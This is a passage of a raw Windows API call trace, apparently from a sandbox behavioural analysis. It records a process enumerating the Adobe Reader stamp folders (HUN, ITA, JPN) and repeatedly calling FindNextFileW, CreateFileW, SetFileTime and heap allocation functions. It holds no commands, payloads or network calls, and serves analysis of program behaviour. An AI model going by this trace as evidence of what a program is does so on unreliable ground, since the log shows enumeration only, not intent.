nFileSizeLow=0x17b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215600 [0083.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6d80 [0083.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.146] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.146] GetLastError () returned 0x12 [0083.147] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.147] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9083, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.147] GetLastError () returned 0x12 [0083.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.147] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.148] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0083.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.189] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.190] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.191] NtClose (Handle=0x174) returned 0x0 [0083.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.192] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.192] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.192] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215620 [0083.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6e88 [0083.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.194] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215640 [0083.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6f90 [0083.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.196] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18575, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215660 [0083.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a7098 [0083.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.197] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18575, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.197] GetLastError () returned 0x12 [0083.198] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.198] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.198] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.198] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.198] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.198] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18575, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.198] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18575, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.198] GetLastError () returned 0x12 [0083.198] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.198] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0083.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.207] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.207] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.207] NtClose (Handle=0x180) returned 0x0 [0083.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.208] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.208] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.209] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215680 [0083.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a71a0 [0083.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.210] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xffc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12156a0 [0083.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a72a8 [0083.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.212] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa447, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.213] RtlAllocateHeap 